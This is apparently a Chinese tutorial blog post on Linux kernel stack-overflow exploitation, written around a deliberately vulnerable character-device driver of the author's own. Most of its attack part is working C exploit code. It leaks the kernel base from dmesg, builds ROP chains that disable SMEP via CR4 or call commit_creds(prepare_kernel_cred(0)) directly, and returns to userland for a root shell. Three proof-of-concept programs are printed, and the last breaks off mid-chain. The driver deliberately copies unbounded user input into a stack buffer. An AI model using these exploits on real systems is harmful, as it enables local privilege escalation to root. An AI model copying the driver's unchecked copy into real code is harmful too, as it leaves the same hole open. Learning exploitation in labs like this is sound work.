Kernel从0开始

Delina

原文链接：Kernel从0开始
​
简介
先尝试下最简单的栈溢出，保护和未被保护的情况。
给出自己设计的栈溢出题目：

1. #include <linux/module.h>
   
2. #include <linux/version.h>
   
3. #include <linux/kernel.h>
   
4. #include <linux/types.h>
   
5. #include <linux/kdev_t.h>
   
6. #include <linux/fs.h>
   
7. #include <linux/device.h>
   
8. #include <linux/cdev.h>
   
9. #include <asm/uaccess.h>
   
10. #include <linux/slab.h>
    
11. 
    
12. //设备驱动常用变量
    
13. static char *buffer_var;
    
14. static struct class *devClass; // Global variable for the device class
    
15. static struct cdev cdev;
    
16. static dev_t stack_dev_no;
    
17. 
    
18. 
    
19. static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
    
20.         loff_t *f_pos);
    
21. 
    
22. static ssize_t stack_write(struct file *filp, const char __user *buf,
    
23. size_t len, loff_t *f_pos);
    
24. 
    
25. static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
    
26. 
    
27. // static int stack_open(struct inode *i, struct file *f)
    
28. // {
    
29. //   printk(KERN_INFO "[i] Module vuln: open()\n");
    
30. //   return 0;
    
31. // }
    
32. 
    
33. // static int stack_close(struct inode *i, struct file *f)
    
34. // {
    
35. //   printk(KERN_INFO "[i] Module vuln: close()\n");
    
36. //   return 0;
    
37. // }
    
38. 
    
39. static struct file_operations stack_fops =
    
40.         {
    
41.                 .owner = THIS_MODULE,
    
42.                 // .open = stack_open,
    
43.                 // .release = stack_close,
    
44.                 .write = stack_write,
    
45.                 .read = stack_read
    
46.         };
    
47. 
    
48. // 设备驱动模块加载函数
    
49. static int __init stack_init(void)
    
50. {
    
51.     buffer_var=kmalloc(100,GFP_DMA);
    
52.     printk(KERN_INFO "[i] Module stack registered");
    
53.     if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
    
54.     {
    
55.         return -1;
    
56.     }
    
57.     if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    
58.     {
    
59.         unregister_chrdev_region(stack_dev_no, 1);
    
60.         return -1;
    
61.     }
    
62.     if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
    
63.     {
    
64.         printk(KERN_INFO "[i] Module stack error");
    
65.         class_destroy(devClass);
    
66.         unregister_chrdev_region(stack_dev_no, 1);
    
67.         return -1;
    
68.     }
    
69.     cdev_init(&cdev, &stack_fops);
    
70.     if (cdev_add(&cdev, stack_dev_no, 1) == -1)
    
71.     {
    
72.         device_destroy(devClass, stack_dev_no);
    
73.         class_destroy(devClass);
    
74.         unregister_chrdev_region(stack_dev_no, 1);
    
75.         return -1;
    
76.     }
    
77. 
    
78.     printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
    
79.     return 0;
    
80. 
    
81. }
    
82. 
    
83. // 设备驱动模块卸载函数
    
84. static void __exit stack_exit(void)
    
85. {
    
86.     // 释放占用的设备号
    
87.     unregister_chrdev_region(stack_dev_no, 1);
    
88.     cdev_del(&cdev);
    
89. }
    
90. 
    
91. 
    
92. // 读设备
    
93. ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
    
94.         loff_t *f_pos)
    
95. {
    
96.     printk(KERN_INFO "Stack_read function" );
    
97.     if(strlen(buffer_var)>0) {
    
98.         printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
    
99.         kfree(buffer_var);
    
100.         buffer_var=kmalloc(100,GFP_DMA);
     
101.         return 0;
     
102.     } else {
     
103.         return 1;
     
104.     }
     
105. }
     
106. 
     
107. // 写设备
     
108. ssize_t stack_write(struct file *filp, const char __user *buf,
     
109. size_t len, loff_t *f_pos)
     
110. {
     
111.     printk(KERN_INFO "Stack_write function" );
     
112.     char buffer[100]={0};
     
113.     if (_copy_from_user(buffer, buf, len))
     
114.         return -EFAULT;
     
115.     buffer[len-1]='\0';
     
116.     printk("[i] Module stack write: %s\n", buffer);
     
117.     strncpy(buffer_var,buffer,len);
     
118.     return len;
     
119. }
     
120. 
     
121. 
     
122. 
     
123. // ioctl函数命令控制
     
124. long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
     
125. {
     
126.     switch (cmd) {
     
127.         case 1:
     
128.             break;
     
129.         case 2:
     
130.             break;
     
131.         default:
     
132.             // 不支持的命令
     
133.             return -ENOTTY;
     
134.     }
     
135.     return 0;
     
136. }
     
137. 
     
138. 
     
139. module_init(stack_init);
     
140. module_exit(stack_exit);
     
141. 
     
142. MODULE_LICENSE("GPL");
     
143. // MODULE_AUTHOR("blackndoor");
     
144. // MODULE_DESCRIPTION("Module vuln overflow");

复制代码

▲寻找gadgetropper

• 
  

ropper --file vmlinux --search "pop|ret"
这个比较慢，实在不推荐。
objdump

• 
  

objdump -d vmlinux -M intel | grep -E 'ret|pop'
这个比较快，不过查出来的gadget可能是不连续的，需要仔细辨别一下，必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下：

​

可以看到pop rax下并没有ret，但是依然查找出来了，其中pop rax和pop rbx不是连在一起的，用的时候注意辨别。
ROPgadget依然可以用，但有时候可能比较慢，可以先保存下来，然后再找：

• 
  

ROPgadget --binary vmlinux | grep "pop rdx ; ret"
一键获取详见之前的项目中的getKernelROP命令，常用gadget，还是比较好用的。
PIG-007/kernelAll (github.com)
（https://github.com/PIG-007/kernelAll）
PIG-007/kernelAll (gitee.com)
（https://gitee.com/Piggy007/kernelAll）二
Stack被保护
这里的被保护指的是开启了SMEP，类似于NX的栈保护，即内核无法执行用户空间的代码。
方法一：通过ROP来关闭掉smep保护，这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))来完成提权，之后再启一个shell即可获得提权之后的shell。
1、获取地址由于read函数不太有什么地址的读取，所以这里利用dmesg来获取地址。

1. unsigned long findAddr() {
   
2.     char line[512];
   
3.     char string[] = "Freeing SMP alternatives memory";
   
4.     char found[17];
   
5.     unsigned long addr=0;
   
6. 
   
7.     /* execute dmesg and place result in a file */
   
8.     printf("[+] Excecute dmesg...\n");
   
9.     system("dmesg > /tmp/dmesg");
   
10.     /* find: Freeing SMP alternatives memory*/
    
11.     printf("[+] Find usefull addr...\n");
    
12. 
    
13.     FILE* file = fopen("/tmp/dmesg", "r");
    
14. 
    
15.     while (fgets(line, sizeof(line), file)) {
    
16.         if(strstr(line,string)) {
    
17.             strncpy(found,line+53,16);
    
18.             sscanf(found,"%p",(void **)&addr);
    
19.             break;
    
20.         }
    
21.     }
    
22.     fclose(file);
    
23. 
    
24.     if(addr==0) {
    
25.         printf("    dmesg error...\n");
    
26.         exit(1);
    
27.     }
    
28.     return addr;
    
29. }
    
30. 
    
31. //main函数中
    
32. unsigned long memOffset;
    
33. memOffset = findAddr();
    
34. unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
    
35. unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
    
36. unsigned long getR = (unsigned long)getroot;
    
37. unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
    
38. unsigned long iretq = (unsigned long)memOffset-0x7AC289;
    
39. unsigned long sh = (unsigned long)shell;

复制代码

dmesg是获取内核启动的日志相关信息，自己去尝试一下知道。

​

2、关闭SMEP

1. unsigned char payload[300] = {0};
   
2. unsigned char *p           = payload;
   
3. 
   
4. /* pop rax;rbx;r12;rbp;ret;*/
   
5. unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
   
6. memcpy(p,&poprax,8);
   
7. printf("    pop rax      at 0x%lx\n", poprax);
   
8. p+=8;
   
9. memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF rax*/
   
10. p+=8;
    
11. memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
    
12. p+=8;
    
13. memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
    
14. p+=8;
    
15. memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    
16. p+=8;
    
17. 
    
18. /* mov cr4, rax;rbp;ret     */
    
19. unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
    
20. memcpy(p,&movcr4,8);
    
21. printf("    mov CR4, RAX at 0x%lx\n", movcr4);
    
22. p+=8;
    
23. memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    
24. p+=8;

复制代码

3、提权

1. /* function to get root id */
   
2. void getroot (void)
   
3. {
   
4.   commit_creds(prepare_kernel_cred(0));
   
5. }
   
6. 
   
7. /* getroot                        */
   
8. memcpy(p,&getR,8);
   
9. p+=8;

复制代码

4、返回用户空间起Shell

1. void shell(void) {
   
2.     printf("[+] getuid() ...");
   
3.     if(!getuid()) {
   
4.         printf(" [root]\n[+] Enjoy your shell...\n");
   
5.         system("/bin/sh");
   
6.     } else {
   
7.         printf("[+] not root\n[+] failed !!!\n");
   
8.     }
   
9. }

复制代码

1. printf("    swapgs       at 0x%lx\n", swapgs);
   
2. memcpy(p,&swapgs,8);
   
3. p+=8;
   
4. 
   
5. /* iretq                          */
   
6. printf("    iretq        at 0x%lx\n", iretq);
   
7. memcpy(p,&iretq,8);
   
8. p+=8;
   
9. 
   
10. /* shell                          */
    
11. memcpy(p,&sh,8);
    
12. p+=8;

复制代码

5、设置寄存器保存和恢复进入内核空间ROP链前需要保存环境，从内核环境回到用户空间起shell之前需要恢复环境。
(1)保存环境

1. unsigned long user_cs;
   
2. unsigned long user_ss;
   
3. unsigned long user_rflags;
   
4. 
   
5. static void save_state() {
   
6.   asm(
   
7.   "movq %%cs, %0\n"
   
8.   "movq %%ss, %1\n"
   
9.   "pushfq\n"
   
10.   "popq %2\n"
    
11.   : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
    
12. }

复制代码

这个save_state函数在复制数据通过stack_write函数栈溢出进行ROP之前需要调用保存用户空间的环境。​​
(2)恢复环境

1. /* user_cs                        */
   
2. memcpy(p,&user_cs,8);
   
3. p+=8;
   
4. 
   
5. /* user_rflags                    */
   
6. memcpy(p,&user_rflags,8);
   
7. p+=8;
   
8. 
   
9. /*stack of userspace                 */        
   
10. register unsigned long rsp asm("rsp");
    
11. unsigned long sp = (unsigned long)rsp;
    
12. memcpy(p,&sp,8);
    
13. p+=8;
    
14. 
    
15. /* user_ss                        */
    
16. memcpy(p,&user_ss,8);

复制代码

这个都是放在ROP链中，放在shell之后。poc

1. #include <sys/types.h>
   
2. #include <sys/stat.h>
   
3. #include <fcntl.h>
   
4. #include <stdio.h>
   
5. #include <stdlib.h>
   
6. #include <string.h>
   
7. #include <unistd.h>
   
8. #include <errno.h>
   
9. #include <sys/mman.h>
   
10. #include <assert.h>
    
11. 
    
12. 
    
13. struct cred;
    
14. struct task_struct;
    
15. typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
    
16. typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
    
17. prepare_kernel_cred_t   prepare_kernel_cred;
    
18. commit_creds_t    commit_creds;
    
19. 
    
20. unsigned long user_cs;
    
21. unsigned long user_ss;
    
22. unsigned long user_rflags;
    
23. unsigned long stack;
    
24. 
    
25. 
    
26. unsigned long findAddr();
    
27. static void save_state();
    
28. void getroot (void);
    
29. void shell(void);
    
30. 
    
31. 
    
32. int main(int argc, char *argv[])
    
33. {
    
34.     int fd;
    
35.     unsigned char payload[300] = {0};
    
36.     unsigned char *p           = payload;
    
37.     unsigned long memOffset;
    
38. 
    
39. 
    
40. 
    
41.     memOffset = findAddr();
    
42.     unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
    
43.     unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
    
44.     unsigned long getR = (unsigned long)getroot;
    
45.     unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
    
46.     unsigned long iretq = (unsigned long)memOffset-0x7AC289;
    
47.     unsigned long sh = (unsigned long)shell;
    
48. 
    
49.     printf("    addr[0x%llx]\n", memOffset);
    
50. 
    
51.     /* set value for commit_creds and prepare_kernel_cred */
    
52.     commit_creds        = (commit_creds_t)(memOffset - 0xfbf6a0);
    
53.     prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
    
54. 
    
55. 
    
56.     /* open fd on /dev/vuln                             */
    
57.     printf("[+] Open vuln device...\n");
    
58.     if ((fd = open("/dev/stack", O_RDWR)) < 0) {
    
59.         printf("    Can't open device file: /dev/stack\n");
    
60.         exit(1);
    
61.     }
    
62. 
    
63. 
    
64.     /* payload                          */
    
65.     printf("[+] Construct the payload...\n");
    
66.     save_state();
    
67.     /* offset before RIP                    */
    
68.     memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
    
69.     p+=116;
    
70. 
    
71.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
    
72.     p+=8;
    
73. 
    
74.     /* pop rax;rbx;r12;rbp;ret                    */
    
75.     memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
    
76.     printf("    pop rax      at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
    
77.     p+=8;
    
78.     memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF */
    
79.     p+=8;
    
80.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
    
81.     p+=8;
    
82.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
    
83.     p+=8;
    
84.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    
85.     p+=8;
    
86. 
    
87.     /* mov cr4, rax;rbp;ret     */
    
88.     memcpy(p,&movCr4Rax_pop_rbp,8);
    
89.     printf("    mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
    
90.     p+=8;
    
91.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    
92.     p+=8;
    
93. 
    
94.     /* getroot                        */
    
95.     memcpy(p,&getR,8);
    
96.     p+=8;
    
97. 
    
98.     /* swapgs;ret           */
    
99.     printf("    swapgs       at 0x%lx\n", swapgs);
    
100.     memcpy(p,&swapgs,8);
     
101.     p+=8;
     
102. 
     
103.     /* iretq                          */
     
104.     printf("    iretq        at 0x%lx\n", iretq);
     
105.     memcpy(p,&iretq,8);
     
106.     p+=8;
     
107. 
     
108. 
     
109.     /*
     
110.     the stack should look like this after an iretq call
     
111.       RIP
     
112.       CS
     
113.       EFLAGS
     
114.       RSP
     
115.       SS
     
116.     */
     
117. 
     
118. 
     
119.     /* shell                          */
     
120.     memcpy(p,&sh,8);
     
121.     p+=8;
     
122. 
     
123.     /* user_cs                        */
     
124.     memcpy(p,&user_cs,8);
     
125.     p+=8;
     
126.     /* user_rflags                    */
     
127.     memcpy(p,&user_rflags,8);
     
128.     p+=8;
     
129.     /*stack of userspace                 */        
     
130.     register unsigned long rsp asm("rsp");
     
131.     unsigned long sp = (unsigned long)rsp;
     
132.     memcpy(p,&sp,8);
     
133.     p+=8;
     
134.     /* user_ss                        */
     
135.     memcpy(p,&user_ss,8);
     
136. 
     
137.     /* trig the vuln                  */
     
138.     printf("[+] Trig the vulnerablity...\n");
     
139.     write(fd, payload, 300);
     
140. 
     
141. 
     
142.     return 0;
     
143. 
     
144. }
     
145. 
     
146. 
     
147. 
     
148. 
     
149. 
     
150. unsigned long findAddr() {
     
151.     char line[512];
     
152.     char string[] = "Freeing SMP alternatives memory";
     
153.     char found[17];
     
154.     unsigned long addr=0;
     
155. 
     
156.     /* execute dmesg and place result in a file */
     
157.     printf("[+] Excecute dmesg...\n");
     
158.     system("dmesg > /tmp/dmesg");
     
159. 
     
160.     /* find: Freeing SMP alternatives memory    */
     
161.     printf("[+] Find usefull addr...\n");
     
162. 
     
163.     FILE* file = fopen("/tmp/dmesg", "r");
     
164. 
     
165. 
     
166.     while (fgets(line, sizeof(line), file)) {
     
167.         if(strstr(line,string)) {
     
168.             strncpy(found,line+53,16);
     
169.             sscanf(found,"%p",(void **)&addr);
     
170.             break;
     
171.         }
     
172.     }
     
173.     fclose(file);
     
174. 
     
175.     if(addr==0) {
     
176.         printf("    dmesg error...\n");
     
177.         exit(1);
     
178.     }
     
179. 
     
180.     return addr;
     
181. }
     
182. 
     
183. static void save_state() {
     
184.     asm(
     
185.         "movq %%cs, %0\n"
     
186.         "movq %%ss, %1\n"
     
187.         "pushfq\n"
     
188.         "popq %2\n"
     
189.         : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
     
190. }
     
191. 
     
192. 
     
193. void shell(void) {
     
194.     printf("[+] getuid() ...");
     
195.     if(!getuid()) {
     
196.         printf(" [root]\n[+] Enjoy your shell...\n");
     
197.         system("/bin/sh");
     
198.     } else {
     
199.         printf("[+] not root\n[+] failed !!!\n");
     
200.     }
     
201. }
     
202. 
     
203. /* function to get root id */
     
204. void getroot (void)
     
205. {
     
206.     commit_creds(prepare_kernel_cred(0));
     
207. }

复制代码

方法二：直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))来完成提权，之后返回用户空间起shell。
1、ROP链

1. pop rdi;ret
   
2. 0
   
3. prepare_kernel_cred_k
   
4. pop rdx;rbx;rbp;ret
   
5. pop rbp;ret
   
6. 0
   
7. rbp_data
   
8. mov rdi,rax;call rdx
   
9. commit_creds_k
   
10. swapgs;ret
    
11. iretq

复制代码

之后就是返回用户空间起shell了。2、解析执行流程▲先是调用prepare_kernel_cred_k(0)，然后通过将pop rbp;ret赋值给rdx，之后mov rdi,rax，然后call rdx，即调用pop rbp;ret，之后ret即可回到commit_creds_k。
这里较为麻烦的原因是因为mov rdi,rax;call rdx这个语句，需要赋值rdi才能进行commit_creds函数的执行，即将prepare_kernel_cred_k(0)返回值给commit_creds函数。

​

赋值。

​

之后又因为存在call这个语句，所以多了pop rbp;ret来将栈平衡掉，从而能够直接ret到commit_creds。

​

同样ha1vk师傅的利用jmp就比较简单，不过具体看gadget，有时候很难找。
poc

1. #include <sys/types.h>
   
2. #include <sys/stat.h>
   
3. #include <fcntl.h>
   
4. #include <stdio.h>
   
5. #include <stdlib.h>
   
6. #include <string.h>
   
7. #include <unistd.h>
   
8. #include <errno.h>
   
9. #include <sys/mman.h>
   
10. #include <assert.h>
    
11. 
    
12. 
    
13. 
    
14. unsigned long user_cs;
    
15. unsigned long user_ss;
    
16. unsigned long user_rflags;
    
17. unsigned long stack;
    
18. 
    
19. 
    
20. unsigned long findAddr();
    
21. static void save_state();
    
22. void shell(void);
    
23. 
    
24. 
    
25. int main(int argc, char *argv[])
    
26. {
    
27.     int fd;
    
28.     unsigned char payload[300] = {0};
    
29.     unsigned char *p           = payload;
    
30.     unsigned long memOffset;
    
31. 
    
32. 
    
33. 
    
34.     memOffset = findAddr();
    
35.     unsigned long pop_rdi_ret = memOffset - 0xD17AF3;
    
36.     unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD;
    
37.     unsigned long pop_rbp_ret = memOffset - 0xCB43CB;
    
38.     unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA;
    
39.     unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0;
    
40.     unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0;
    
41.     unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
    
42.     unsigned long iretq = (unsigned long)memOffset-0x7AC289;
    
43.     unsigned long sh = (unsigned long)shell;
    
44. 
    
45. 
    
46. 
    
47. 
    
48.     printf("    addr[0x%llx]\n", memOffset);
    
49. 
    
50.     /* open fd on /dev/vuln                             */
    
51.     printf("[+] Open vuln device...\n");
    
52.     if ((fd = open("/dev/stack", O_RDWR)) < 0) {
    
53.         printf("    Can't open device file: /dev/stack\n");
    
54.         exit(1);
    
55.     }
    
56. 
    
57. 
    
58.     /* payload                          */
    
59.     printf("[+] Construct the payload...\n");
    
60.     save_state();
    
61.     /* offset before RIP                    */
    
62.     memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
    
63.     p+=116;
    
64. 
    
65.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
    
66.     p+=8;
    
67. 
    
68. 
    
69.     /*
    
70. pop rdi;ret      ffffffff8131750d
    
71. 0
    
72. prepare_kernel_cred_k_addr  
    
73. pop rdx;rbx;rbp;ret  0xffffffff8137ac33
    
74. commit_creds_k_addr
    
75. mov rdi,rax;call rdx     0xffffffff8109fc56
    
76. swags;    ....
    
77. pop rbp;ret; 0xffffffff8137ac35
    
78. 0xdeadbeef
    
79. iretq; ....
    
80. shell;
    
81. CS
    
82. EFLAGS
    
83. RSP
    
84. SS
    
85. */
    
86. 
    
87. 
    
88.     /* pop rdi;ret                    */
    
89.     printf("    pop rdi      at 0x%lx\n", pop_rdi_ret);
    
90.     memcpy(p,&pop_rdi_ret,8);
    
91.     p+=8;
    
92.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
    
93.     p+=8;
    
94. 
    
95.     //prepare_kernel_cred_k
    
96.     printf("    prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k);
    
97.     memcpy(p,&prepare_kernel_cred_k,8);
    
98.     p+=8;
    
99. 
    
100.     //pop rdx;rbx;rbp;ret
     
101.     printf("    pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret);
     
102.     memcpy(p,&pop_rdx_rbx_rbp_ret,8);
     
103.     p+=8;
     
104. 
     
105. 
     
106.     //pop rbp;ret
     
107.     printf("    pop_rbp_ret at 0x%lx\n", pop_rbp_ret);
     
108.     memcpy(p,&pop_rbp_ret,8);
     
109.     p+=8;
     
110.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); //rbx
     
111.     p+=8;
     
112.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); //rbp
     
113.     p+=8;
     
114. 
     
115. 
     
116. 
     
117.     //mov rdi,rax;call rdx
     
118.     printf("    mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx);
     
119.     memcpy(p,&movRdiRax_call_rdx,8);
     
120.     p+=8;
     
121. 
     
122.     //commit_creds_k
     
123.     printf("    commit_creds_k at 0x%lx\n", commit_creds_k);
     
124.     memcpy(p,&commit_creds_k,8);
     
125.     p+=8;
     
126. 
     
127.     /* swapgs;ret           */
     
128.     printf("    swapgs       at 0x%lx\n", swapgs);
     
129.     memcpy(p,&swapgs,8);
     
130.     p+=8;
     
131. 
     
132.     /* iretq                          */
     
133.     printf("    iretq        at 0x%lx\n", iretq);
     
134.     memcpy(p,&iretq,8);
     
135.     p+=8;
     
136. 
     
137. 
     
138.     /*
     
139.     the stack should look like this after an iretq call
     
140.       RIP
     
141.       CS
     
142.       EFLAGS
     
143.       RSP
     
144.       SS
     
145.     */
     
146. 
     
147. 
     
148.     /* shell                          */
     
149.     memcpy(p,&sh,8);
     
150.     p+=8;
     
151. 
     
152.     /* user_cs                        */
     
153.     memcpy(p,&user_cs,8);
     
154.     p+=8;
     
155.     /* user_rflags                    */
     
156.     memcpy(p,&user_rflags,8);
     
157.     p+=8;
     
158.     /*stack of userspace                 */        
     
159.     register unsigned long rsp asm("rsp");
     
160.     unsigned long sp = (unsigned long)rsp;
     
161.     memcpy(p,&sp,8);
     
162.     p+=8;
     
163.     /* user_ss                        */
     
164.     memcpy(p,&user_ss,8);
     
165. 
     
166.     /* trig the vuln                  */
     
167.     printf("[+] Trig the vulnerablity...\n");
     
168.     write(fd, payload, 300);
     
169. 
     
170. 
     
171.     return 0;
     
172. 
     
173. }
     
174. 
     
175. 
     
176. 
     
177. 
     
178. 
     
179. unsigned long findAddr() {
     
180.     char line[512];
     
181.     char string[] = "Freeing SMP alternatives memory";
     
182.     char found[17];
     
183.     unsigned long addr=0;
     
184. 
     
185.     /* execute dmesg and place result in a file */
     
186.     printf("[+] Excecute dmesg...\n");
     
187.     system("dmesg > /tmp/dmesg");
     
188. 
     
189.     /* find: Freeing SMP alternatives memory    */
     
190.     printf("[+] Find usefull addr...\n");
     
191. 
     
192.     FILE* file = fopen("/tmp/dmesg", "r");
     
193. 
     
194. 
     
195.     while (fgets(line, sizeof(line), file)) {
     
196.         if(strstr(line,string)) {
     
197.             strncpy(found,line+53,16);
     
198.             sscanf(found,"%p",(void **)&addr);
     
199.             break;
     
200.         }
     
201.     }
     
202.     fclose(file);
     
203. 
     
204.     if(addr==0) {
     
205.         printf("    dmesg error...\n");
     
206.         exit(1);
     
207.     }
     
208. 
     
209.     return addr;
     
210. }
     
211. 
     
212. static void save_state() {
     
213.     asm(
     
214.         "movq %%cs, %0\n"
     
215.         "movq %%ss, %1\n"
     
216.         "pushfq\n"
     
217.         "popq %2\n"
     
218.         : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
     
219. }
     
220. 
     
221. void shell(void) {
     
222.     printf("[+] getuid() ...");
     
223.     if(!getuid()) {
     
224.         printf(" [root]\n[+] Enjoy your shell...\n");
     
225.         system("/bin/sh");
     
226.     } else {
     
227.         printf("[+] not root\n[+] failed !!!\n");
     
228.     }
     
229. }

复制代码

(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客（https://blog.csdn.net/seaaseesa/ ... 1018.2226.3001.4450）​​
Stack未被保护
解析这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))提权，然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链，直接getroot即可。
poc

1. #include <sys/types.h>
   
2. #include <sys/stat.h>
   
3. #include <fcntl.h>
   
4. #include <stdio.h>
   
5. #include <stdlib.h>
   
6. #include <string.h>
   
7. #include <unistd.h>
   
8. #include <errno.h>
   
9. #include <sys/mman.h>
   
10. #include <assert.h>
    
11. 
    
12. 
    
13. struct cred;
    
14. struct task_struct;
    
15. typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
    
16. typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
    
17. prepare_kernel_cred_t   prepare_kernel_cred;
    
18. commit_creds_t    commit_creds;
    
19. 
    
20. unsigned long user_cs;
    
21. unsigned long user_ss;
    
22. unsigned long user_rflags;
    
23. unsigned long stack;
    
24. 
    
25. 
    
26. unsigned long findAddr();
    
27. static void save_state();
    
28. void getroot (void);
    
29. void shell(void);
    
30. 
    
31. 
    
32. int main(int argc, char *argv[])
    
33. {
    
34.     int fd;
    
35.     unsigned char payload[300] = {0};
    
36.     unsigned char *p           = payload;
    
37.     unsigned long memOffset;
    
38. 
    
39. 
    
40. 
    
41.     memOffset = findAddr();
    
42.     unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
    
43.     unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
    
44.     unsigned long getR = (unsigned long)getroot;
    
45.     unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
    
46.     unsigned long iretq = (unsigned long)memOffset-0x7AC289;
    
47.     unsigned long sh = (unsigned long)shell;
    
48. 
    
49. 
    
50. 
    
51. 
    
52.     printf("    addr[0x%llx]\n", memOffset);
    
53. 
    
54.     /* set value for commit_creds and prepare_kernel_cred */
    
55.     commit_creds        = (commit_creds_t)(memOffset - 0xfbf6a0);
    
56.     prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
    
57. 
    
58. 
    
59.     /* open fd on /dev/vuln                             */
    
60.     printf("[+] Open vuln device...\n");
    
61.     if ((fd = open("/dev/stack", O_RDWR)) < 0) {
    
62.         printf("    Can't open device file: /dev/stack\n");
    
63.         exit(1);
    
64.     }
    
65. 
    
66. 
    
67.     /* payload                          */
    
68.     printf("[+] Construct the payload...\n");
    
69.     save_state();
    
70.     /* offset before RIP                    */
    
71.     memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
    
72.     p+=116;
    
73. 
    
74.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
    
75.     p+=8;
    
76. 
    
77. 
    
78.     /* getroot                        */
    
79.     memcpy(p,&getR,8);
    
80.     p+=8;
    
81. 
    
82.     /* swapgs;ret           */
    
83.     printf("    swapgs       at 0x%lx\n", swapgs);
    
84.     memcpy(p,&swapgs,8);
    
85.     p+=8;
    
86. 
    
87.     /* iretq                          */
    
88.     printf("    iretq        at 0x%lx\n", iretq);
    
89.     memcpy(p,&iretq,8);
    
90.     p+=8;
    
91. 
    
92. 
    
93.     /*
    
94.     the stack should look like this after an iretq call
    
95.       RIP
    
96.       CS
    
97.       EFLAGS
    
98.       RSP
    
99.       SS
    
100.     */
     
101. 
     
102. 
     
103.     /* shell                          */
     
104.     memcpy(p,&sh,8);
     
105.     p+=8;
     
106. 
     
107. 
     
108. 
     
109.     /* user_cs                        */
     
110.     memcpy(p,&user_cs,8);
     
111.     p+=8;
     
112.     /* user_rflags                    */
     
113.     memcpy(p,&user_rflags,8);
     
114.     p+=8;
     
115.     /*stack of userspace                 */        
